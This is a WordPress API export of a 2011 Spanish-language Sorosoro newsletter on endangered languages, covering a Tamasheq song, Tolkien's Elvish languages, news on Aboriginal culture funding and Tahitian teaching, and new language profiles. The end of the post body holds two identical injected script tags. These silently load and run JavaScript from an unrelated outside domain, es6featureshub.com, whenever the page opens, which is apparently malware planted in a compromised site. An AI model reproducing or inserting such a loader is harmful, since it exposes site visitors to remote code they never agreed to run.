{"id":53034,"date":"2011-07-18T00:20:09","date_gmt":"2011-07-17T22:20:09","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=53034"},"modified":"2025-10-21T22:29:27","modified_gmt":"2025-10-21T20:29:27","slug":"sorosoro-15-de-julio","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/","title":{"rendered":"Sorosoro, 15 de julio del 2011  <br\/><br\/> <i>Para leer<\/i>: Tolkien y las lenguas \u00e9lficas<br\/> <i>Para ver<\/i>: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna<br\/> Y\u2026 \u00a1Sorosoro se retira por el verano!"},"content":{"rendered":"<p style=\"text-align: justify;\">De mediados de julio a mediados de agosto, nuestro equipo se toma un descanso\u2026No recibir\u00e1 este bolet\u00edn informativo durante un mes, pero no olvide venir a nuestra p\u00e1gina, seguiremos subiendo nuevos v\u00eddeos cada semana, \u00a1subtitulados en franc\u00e9s, en ingl\u00e9s y en espa\u00f1ol!<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Nuevos videos<\/h5>\n<p style=\"text-align: justify;\">Nos encontramos con <strong>Moussa Ag Keyna<\/strong> para una nueva canci\u00f3n en <strong>tamasheq<\/strong>, la lengua de los <strong>tuareg<\/strong>. Esta semana, nos regala una canci\u00f3n de amor: <em>Tallyat Idaght \/ Esa chica <\/em>; antes de evocar, la pr\u00f3xima semana, la lucha por el reconocimiento de la identidad tuareg. Seguir\u00e1n enseguida algunos videos para aprender un poco de vocabulario tamasheq\u2026 \u00a1Qu\u00e9dese con nosotros!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/tallyatt-idaght-esta-chica-por-moussa-ag-keyna-del-grupo-toumast\">Ver el video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">El ling\u00fcista <strong>Thorsten Renk<\/strong>, nos lleva al universo de <strong>J.R.R. Tolkien<\/strong>, el tan conocido autor  del <em>Se\u00f1or de los Anillos<\/em>, cuyas historias tienen la particularidad de haber sido escritas para las lenguas que \u00e9l inventaba, m\u00e1s que lo contrario. Las <strong>lenguas \u00e9lficas<\/strong>, y los debates que suscitan entre ling\u00fcistas y locutores, vienen a ilustrar maravillosamente nuestra serie sobre las lenguas artificiales\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/es\/el-elfico-de-tolkien\">Ver el blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Actualidades<\/h5>\n<p style=\"text-align: justify;\">Junio del 2011: publicaci\u00f3n en franc\u00e9s de \u00ab <strong>The Wayfinders: Why Ancient Wisdom Matters in the a Modern World<\/strong> \u00bb, de <strong>Wade Davis<\/strong>. El autor rinde homenaje a esos pueblos con reputaci\u00f3n de vivir en mejor armon\u00eda con su entorno; y contempla soluciones alternativas que responden a las  amenazas que pesan sobre la diversidad, tanto biol\u00f3gica como cultural\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/junio-del-2011-publicacion-de-%C2%AB-the-wayfinders-%C2%BB-de-wade-davis\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">23 de junio del 2011: el <strong>gobierno australiano<\/strong> anuncia un presupuesto de <strong>47 millones de d\u00f3lares<\/strong> en el 2011-2012 para las <strong>culturas abor\u00edgenes<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/23-de-junio-del-2011-el-gobierno-australiano-anuncia-un-presupuesto-de-47-millones-de-dolares-en-el-2011-2012-para-las-culturas-aborigenes\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">26 de junio del 2011: art\u00edculo en el sitio web <em>Tahiti Presse<\/em> sobre el descontento provocado por el anuncio de la supresi\u00f3n del CAPES de <strong>tahitiano<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/26-de-junio-2011-articulo-en-el-sitio-web-tahiti-presse-sobre-el-descontento-provocado-por-el-anuncio-de-la-supresion-del-capes-de-tahitiano-diploma-frances-de-aptitud-de-ensenanza\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>3 nuevas fichas descriptivas de lenguas<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&#8211; una lengua maya: el <a href=\"..\/le-chorti\">ch&#8217;orti&#8217;<\/a>, hablado en Guatemala y en Honduras.<\/p>\n<p style=\"text-align: justify;\">&#8211; una lengua chapacura hablada en Brasil: le <a href=\"..\/le-wari\">wari&#8217;<\/a> (una de las ultimas, si no es que la \u00faltima, lengua chapacura viva todav\u00eda).<\/p>\n<p style=\"text-align: justify;\">&#8211; y el <a href=\"..\/le-jaminjung\">jaminjung<\/a>, tambi\u00e9n una de las \u00faltimas lenguas mindi de Australia.<\/p>\n<h5 style=\"text-align: justify;\">Sin olvidar\u2026<\/h5>\n<p style=\"text-align: justify;\">Una nueva <a href=\"https:\/\/www.sorosoro.org\/es\/universo\">palabra de la quincena<\/a>, a traducir infinitamente: \u00ab <strong>Universo<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00a1Les deseamos una excelente semana a todos!<\/strong><\/p>\n<p style=\"text-align: justify;\">El equipo de Sorosoro<\/p>\n<p style=\"text-align: center;\">Con el apoyo de<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>De mediados de julio a mediados de agosto, nuestro equipo se toma un descanso\u2026No recibir\u00e1 este bolet\u00edn informativo durante un mes, pero no olvide venir a nuestra p\u00e1gina, seguiremos subiendo nuevos v\u00eddeos cada semana, \u00a1subtitulados en franc\u00e9s, en ingl\u00e9s y en espa\u00f1ol! Nuevos videos Nos encontramos con Moussa Ag Keyna para una nueva canci\u00f3n en [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-53034","post","type-post","status-publish","format-standard","hentry","category-actualidades-de-sorosoro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro, 15 de julio del 2011  Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro, 15 de julio del 2011  Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"De mediados de julio a mediados de agosto, nuestro equipo se toma un descanso\u2026No recibir\u00e1 este bolet\u00edn informativo durante un mes, pero no olvide venir a nuestra p\u00e1gina, seguiremos subiendo nuevos v\u00eddeos cada semana, \u00a1subtitulados en franc\u00e9s, en ingl\u00e9s y en espa\u00f1ol! Nuevos videos Nos encontramos con Moussa Ag Keyna para una nueva canci\u00f3n en [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-07-17T22:20:09+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:29:27+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano!\",\"datePublished\":\"2011-07-17T22:20:09+00:00\",\"dateModified\":\"2025-10-21T20:29:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\"},\"wordCount\":423,\"articleSection\":[\"Novedades en Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\",\"name\":\"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-07-17T22:20:09+00:00\",\"dateModified\":\"2025-10-21T20:29:27+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro, 15 de julio del 2011  Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/","og_locale":"es_ES","og_type":"article","og_title":"Sorosoro, 15 de julio del 2011  Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro","og_description":"De mediados de julio a mediados de agosto, nuestro equipo se toma un descanso\u2026No recibir\u00e1 este bolet\u00edn informativo durante un mes, pero no olvide venir a nuestra p\u00e1gina, seguiremos subiendo nuevos v\u00eddeos cada semana, \u00a1subtitulados en franc\u00e9s, en ingl\u00e9s y en espa\u00f1ol! Nuevos videos Nos encontramos con Moussa Ag Keyna para una nueva canci\u00f3n en [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/","og_site_name":"Sorosoro","article_published_time":"2011-07-17T22:20:09+00:00","article_modified_time":"2025-10-21T20:29:27+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano!","datePublished":"2011-07-17T22:20:09+00:00","dateModified":"2025-10-21T20:29:27+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/"},"wordCount":423,"articleSection":["Novedades en Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/","name":"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-07-17T22:20:09+00:00","dateModified":"2025-10-21T20:29:27+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/sorosoro-15-de-julio\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Sorosoro, 15 de julio del 2011 Para leer: Tolkien y las lenguas \u00e9lficas Para ver: \u00ab\u00a0Tallyat Idaght \/ Esa chica\u00a0\u00bb, canto tamasheq, por Moussa Ag Keyna Y\u2026 \u00a1Sorosoro se retira por el verano!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/53034","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=53034"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/53034\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=53034"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=53034"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=53034"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}